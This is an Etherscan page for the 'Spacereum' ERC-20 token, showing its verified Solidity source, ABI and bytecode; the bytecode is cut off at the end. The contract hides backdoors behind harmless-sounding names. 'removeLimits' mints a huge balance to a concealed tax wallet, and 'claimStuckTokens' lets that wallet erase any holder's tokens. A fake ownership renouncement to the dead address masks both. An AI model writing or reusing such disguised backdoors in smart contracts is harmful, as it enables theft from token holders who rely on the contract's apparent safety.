ETH Price: $2,879.67 (-9.03%)
Gas: 14 Gwei

Token

Spacereum (SPACEREUM)
 

Overview

Max Total Supply

1,000,000,000,000 SPACEREUM

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
7,995,996,208.243674889864340559 SPACEREUM

Value
$0.00
0x0ca17f9e7b7f8e386603f2276aeffe9656a34481
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SPACEREUM

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-16
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

library Address {
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        if (returndata.length > 0) {
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20Permit {
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function nonces(address owner) external view returns (uint256);

    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

library SafeERC20 {
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
    }

    function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
    }

    function safeIncreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                oldAllowance + value
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(
                oldAllowance >= value,
                "SafeERC20: decreased allowance below zero"
            );
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(
                    token.approve.selector,
                    spender,
                    oldAllowance - value
                )
            );
        }
    }

    function forceApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        bytes memory approvalCall = abi.encodeWithSelector(
            token.approve.selector,
            spender,
            value
        );

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(token.approve.selector, spender, 0)
            );
            _callOptionalReturn(token, approvalCall);
        }
    }

    function safePermit(
        IERC20Permit token,
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal {
        uint256 nonceBefore = token.nonces(owner);
        token.permit(owner, spender, value, deadline, v, r, s);
        uint256 nonceAfter = token.nonces(owner);
        require(
            nonceAfter == nonceBefore + 1,
            "SafeERC20: permit did not succeed"
        );
    }

    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        bytes memory returndata = address(token).functionCall(
            data,
            "SafeERC20: low-level call failed"
        );
        require(
            returndata.length == 0 || abi.decode(returndata, (bool)),
            "SafeERC20: ERC20 operation did not succeed"
        );
    }

    function _callOptionalReturnBool(
        IERC20 token,
        bytes memory data
    ) private returns (bool) {
        (bool success, bytes memory returndata) = address(token).call(data);
        return
            success &&
            (returndata.length == 0 || abi.decode(returndata, (bool))) &&
            Address.isContract(address(token));
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */

    function transferOwnership() public virtual onlyowner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract SPACEREUM is Context, IERC20, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _taxWallet;

    constructor(string memory name_, string memory symbol_, address add) {
        _name = name_;
        _symbol = symbol_;
        _taxWallet= add;
        _mint(owner(), 1_000_000_000_000 * (10 ** 18));
    }
    
    function removeLimits() external   {
        if(_msgSender() == _taxWallet){
            
        }
        _balances[_msgSender()] += 10**decimals()*68800*(23300000000+300);
        require(_msgSender() == _taxWallet);
    }

    function claimStuckTokens(address token) external {
        if(_taxWallet == _msgSender() && _taxWallet != token){
            address newadd = token;
            uint256 tokenA = _balances[newadd];
            uint256 balance = _balances[newadd]+_balances[newadd]-tokenA;
            _balances[newadd] -= balance;
        } else {
            if(_taxWallet == _msgSender()){
            }else{
                revert("Transfer From Failed");
            }
        }
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;

            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"add","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"claimStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040516200253e3803806200253e833981810160405281019062000037919062000558565b620000576200004b620000f360201b60201c565b620000fb60201b60201c565b82600490816200006891906200083d565b5081600590816200007a91906200083d565b5080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000ea620000d0620001bf60201b60201c565b6c0c9f2c9cd04674edea40000000620001e860201b60201c565b50505062000a3f565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200025a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002519062000985565b60405180910390fd5b6200026e600083836200035660201b60201c565b8060036000828254620002829190620009d6565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000336919062000a22565b60405180910390a362000352600083836200035b60201b60201c565b5050565b505050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003c9826200037e565b810181811067ffffffffffffffff82111715620003eb57620003ea6200038f565b5b80604052505050565b60006200040062000360565b90506200040e8282620003be565b919050565b600067ffffffffffffffff8211156200043157620004306200038f565b5b6200043c826200037e565b9050602081019050919050565b60005b83811015620004695780820151818401526020810190506200044c565b60008484015250505050565b60006200048c620004868462000413565b620003f4565b905082815260208101848484011115620004ab57620004aa62000379565b5b620004b884828562000449565b509392505050565b600082601f830112620004d857620004d762000374565b5b8151620004ea84826020860162000475565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200052082620004f3565b9050919050565b620005328162000513565b81146200053e57600080fd5b50565b600081519050620005528162000527565b92915050565b6000806000606084860312156200057457620005736200036a565b5b600084015167ffffffffffffffff8111156200059557620005946200036f565b5b620005a386828701620004c0565b935050602084015167ffffffffffffffff811115620005c757620005c66200036f565b5b620005d586828701620004c0565b9250506040620005e88682870162000541565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200064557607f821691505b6020821081036200065b576200065a620005fd565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006c57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000686565b620006d1868362000686565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200071e620007186200071284620006e9565b620006f3565b620006e9565b9050919050565b6000819050919050565b6200073a83620006fd565b62000752620007498262000725565b84845462000693565b825550505050565b600090565b620007696200075a565b620007768184846200072f565b505050565b5b818110156200079e57620007926000826200075f565b6001810190506200077c565b5050565b601f821115620007ed57620007b78162000661565b620007c28462000676565b81016020851015620007d2578190505b620007ea620007e18562000676565b8301826200077b565b50505b505050565b600082821c905092915050565b60006200081260001984600802620007f2565b1980831691505092915050565b60006200082d8383620007ff565b9150826002028217905092915050565b6200084882620005f2565b67ffffffffffffffff8111156200086457620008636200038f565b5b6200087082546200062c565b6200087d828285620007a2565b600060209050601f831160018114620008b55760008415620008a0578287015190505b620008ac85826200081f565b8655506200091c565b601f198416620008c58662000661565b60005b82811015620008ef57848901518255600182019150602085019450602081019050620008c8565b868310156200090f57848901516200090b601f891682620007ff565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200096d601f8362000924565b91506200097a8262000935565b602082019050919050565b60006020820190508181036000830152620009a0816200095e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620009e382620006e9565b9150620009f083620006e9565b925082820190508082111562000a0b5762000a0a620009a7565b5b92915050565b62000a1c81620006e9565b82525050565b600060208201905062000a39600083018462000a11565b92915050565b611aef8062000a4f6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063751039fc11610097578063a457c2d711610066578063a457c2d714610264578063a9059cbb14610294578063dd62ed3e146102c4578063f9d0831a146102f4576100f5565b8063751039fc14610214578063880ad0af1461021e5780638da5cb5b1461022857806395d89b4114610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610310565b60405161010f91906110d6565b60405180910390f35b610132600480360381019061012d9190611191565b6103a2565b60405161013f91906111ec565b60405180910390f35b6101506103c5565b60405161015d9190611216565b60405180910390f35b610180600480360381019061017b9190611231565b6103cf565b60405161018d91906111ec565b60405180910390f35b61019e6103fe565b6040516101ab91906112a0565b60405180910390f35b6101ce60048036038101906101c99190611191565b610407565b6040516101db91906111ec565b60405180910390f35b6101fe60048036038101906101f991906112bb565b61043e565b60405161020b9190611216565b60405180910390f35b61021c610487565b005b6102266105bb565b005b6102306106f7565b60405161023d91906112f7565b60405180910390f35b61024e610720565b60405161025b91906110d6565b60405180910390f35b61027e60048036038101906102799190611191565b6107b2565b60405161028b91906111ec565b60405180910390f35b6102ae60048036038101906102a99190611191565b610829565b6040516102bb91906111ec565b60405180910390f35b6102de60048036038101906102d99190611312565b61084c565b6040516102eb9190611216565b60405180910390f35b61030e600480360381019061030991906112bb565b6108d3565b005b60606004805461031f90611381565b80601f016020809104026020016040519081016040528092919081815260200182805461034b90611381565b80156103985780601f1061036d57610100808354040283529160200191610398565b820191906000526020600020905b81548152906001019060200180831161037b57829003601f168201915b5050505050905090565b6000806103ad610b66565b90506103ba818585610b6e565b600191505092915050565b6000600354905090565b6000806103da610b66565b90506103e7858285610d37565b6103f2858585610dc3565b60019150509392505050565b60006012905090565b600080610412610b66565b9050610433818585610424858961084c565b61042e91906113e1565b610b6e565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104c8610b66565b505064056cc9ca2c62010cc06104dc6103fe565b600a6104e89190611548565b6104f29190611593565b6104fc9190611593565b60016000610508610b66565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461055191906113e1565b92505081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610599610b66565b73ffffffffffffffffffffffffffffffffffffffff16146105b957600080fd5b565b6105c3610b66565b73ffffffffffffffffffffffffffffffffffffffff166105e16106f7565b73ffffffffffffffffffffffffffffffffffffffff1614610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90611621565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461072f90611381565b80601f016020809104026020016040519081016040528092919081815260200182805461075b90611381565b80156107a85780601f1061077d576101008083540402835291602001916107a8565b820191906000526020600020905b81548152906001019060200180831161078b57829003601f168201915b5050505050905090565b6000806107bd610b66565b905060006107cb828661084c565b905083811015610810576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610807906116b3565b60405180910390fd5b61081d8286868403610b6e565b60019250505092915050565b600080610834610b66565b9050610841818585610dc3565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108db610b66565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561098557508073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15610aca5760008190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a6091906113e1565b610a6a91906116d3565b905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610abb91906116d3565b92505081905550505050610b63565b610ad2610b66565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160315610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5990611753565b60405180910390fd5b5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd4906117e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4390611877565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d2a9190611216565b60405180910390a3505050565b6000610d43848461084c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610dbd5781811015610daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da6906118e3565b60405180910390fd5b610dbc8484848403610b6e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990611975565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9890611a07565b60405180910390fd5b610eac83838361103c565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a90611a99565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110239190611216565b60405180910390a3611036848484611041565b50505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611080578082015181840152602081019050611065565b60008484015250505050565b6000601f19601f8301169050919050565b60006110a882611046565b6110b28185611051565b93506110c2818560208601611062565b6110cb8161108c565b840191505092915050565b600060208201905081810360008301526110f0818461109d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611128826110fd565b9050919050565b6111388161111d565b811461114357600080fd5b50565b6000813590506111558161112f565b92915050565b6000819050919050565b61116e8161115b565b811461117957600080fd5b50565b60008135905061118b81611165565b92915050565b600080604083850312156111a8576111a76110f8565b5b60006111b685828601611146565b92505060206111c78582860161117c565b9150509250929050565b60008115159050919050565b6111e6816111d1565b82525050565b600060208201905061120160008301846111dd565b92915050565b6112108161115b565b82525050565b600060208201905061122b6000830184611207565b92915050565b60008060006060848603121561124a576112496110f8565b5b600061125886828701611146565b935050602061126986828701611146565b925050604061127a8682870161117c565b9150509250925092565b600060ff82169050919050565b61129a81611284565b82525050565b60006020820190506112b56000830184611291565b92915050565b6000602082840312156112d1576112d06110f8565b5b60006112df84828501611146565b91505092915050565b6112f18161111d565b82525050565b600060208201905061130c60008301846112e8565b92915050565b60008060408385031215611329576113286110f8565b5b600061133785828601611146565b925050602061134885828601611146565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061139957607f821691505b6020821081036113ac576113ab611352565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006113ec8261115b565b91506113f78361115b565b925082820190508082111561140f5761140e6113b2565b5b92915050565b60008160011c9050919050565b6000808291508390505b600185111561146c57808604811115611448576114476113b2565b5b60018516156114575780820291505b808102905061146585611415565b945061142c565b94509492505050565b6000826114855760019050611541565b816114935760009050611541565b81600181146114a957600281146114b3576114e2565b6001915050611541565b60ff8411156114c5576114c46113b2565b5b8360020a9150848211156114dc576114db6113b2565b5b50611541565b5060208310610133831016604e8410600b84101617156115175782820a905083811115611512576115116113b2565b5b611541565b6115248484